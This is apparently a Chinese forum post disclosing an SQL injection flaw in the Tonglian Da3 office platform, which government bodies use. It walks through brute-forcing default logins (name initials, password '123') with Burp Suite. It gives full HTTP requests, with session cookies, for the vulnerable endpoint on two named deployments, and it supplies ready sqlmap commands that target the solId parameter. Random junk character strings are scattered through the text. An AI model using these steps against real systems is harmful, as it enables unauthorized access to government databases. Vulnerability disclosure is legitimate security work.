同联Da3协同办公平台前台通用sql injection漏洞

admin

8 c4 G5 @' {2 D

" p0 V. } \& K

/ U2 s( u) g2 g# g M+ s8 s# m 平台简介： / ]8 ?* r0 T6 l" @

$ t; E+ U0 {, |

$ c. j, F5 ~/ X7 ?   0 R5 q9 O7 Y; b. U

; a* {' `: Z7 C 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
8 S4 a+ @3 O; Z1 y- Y8 I4 P2 }: Q同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

4 V4 x: o9 n4 E6 L" N6 @) |

 

- E8 x" b% f: Q9 U2 ~. l d- s 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： 0 m+ x8 O3 p- O( @

/ a' c+ s( f6 w4 r" ]4 Z# I$ P# f   ! w! b1 N; b) M3 P3 z; x9 t

( x2 c/ n% Q9 l$ _

% N# u- b" O2 d3 M5 ` http://1.1.1.1:7197/cap-aco/#（案例2-）

% |! K* l( A* q' c, M7 \ http://www.XXOO.com （案例1-官网网站）

0 B- x% ~$ u: j$ z

1 H' ]' W; X& H+ L2 L/ v& o+ W9 F  

漏洞详情:

; ?) h. o; @6 {; a

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 ; p7 I; w4 C2 u8 B

5 |! C' v% d$ y- A/ k      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

- ] D+ o, z; @" ^0 ?- m& b6 G- `   0 }$ ]; ~4 M8 I4 W4 P/ w

" o" Y# h" I& H' ~

( K. ?4 e& T& ^! h& a3 A$ ]8 D, w5 h' v   ( L8 H6 ?% {% m7 L$ }$ V, V

0 Z7 A$ A! W# |5 T& y% R& ?& V

/ Y1 m c; p. v# z6 q \! F( @6 \ status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： : z% P4 r* {; q" Z: u

; {$ w( @' `, M3 q

1、案例1-官方网站

# W: j2 `+ N9 ~$ r

+ ~' ?7 g& p8 D: d# d7 k6 X6 V8 W GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

. Y1 O1 o* J6 l0 z8 F: T' a* a

Host: www.XXOO.com % k: t) P! e; F

& ]. F v1 S, B/ i- h

Proxy-Connection: Keep-Alive 0 `( h: s8 O. ]4 g8 L% H

, [- {$ S% ?% T- b0 a' R

Accept: application/json, text/javascript, */*; q=0.01

; t6 d9 z* Q) g, e

; B8 G& v, ?$ u" ^" A Accept-Language: zh-CN

; i2 v. h/ Z. H' T7 I/ p3 r Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko

X-Requested-With: XMLHttpRequest 8 r+ U( L2 a$ i U! p B

/ x" }3 s2 O+ I) t$ [

9 g3 n8 M- \4 `1 `9 }& N I Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 9 [3 k* B+ }- `+ x. m

) B1 S4 a/ w/ l+ u/ g

Accept-Encoding: gzip, deflate, sdch

8 s4 Y9 K( _" l" M7 i9 y Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e : g* F1 Z+ ]8 d) U( B; {" J

/ P% V' n M$ O

, A A: v6 x Q; ]* R' r2 J0 B* N 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

9 A5 \. s8 r" E

 

. N. N) r8 j2 W# h- e% M

 

 

 

/ i. c/ G6 X# D4 D# I7 W  

3 I4 }1 g+ K5 T

2、案例2-某天河云平台 ( }1 x4 O1 P. J( B9 l3 s+ F7 t2 ]

GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

Host: 1.1.1.:7197 8 n$ I) t+ s3 t& S: z9 U

2 E0 P1 S, f6 f

' T1 }- Y+ u" |1 W( a Accept: application/json, text/javascript, */*; q=0.01

' c s! d" H! G& h0 r! i5 {# N X-Requested-With: XMLHttpRequest

J+ T% T" R( H& L2 f, N- O

% E5 B% b4 v' _; A" k User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0 # F# N7 E( z0 p7 I4 t

" M# Z6 p( T7 {& C Content-Type: application/json ( d0 y# N3 }9 H. _( H

9 E; w7 Z$ A+ Q0 N' l Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

$ Z3 [4 X; U$ o2 L; G+ L, M Accept-Language: zh-CN,zh;q=0.8

! L7 j3 T8 [/ H) S: R) u

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 $ c5 t2 d) V( s/ C Y. b

) _! ^: M$ f3 [

Connection: close

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: 0 G- F$ \( ]5 d

; D# F* N# d- Y- |   - K4 Z* W8 g; V1 i* @

8 [ Z7 m' I* ^8 l& g! U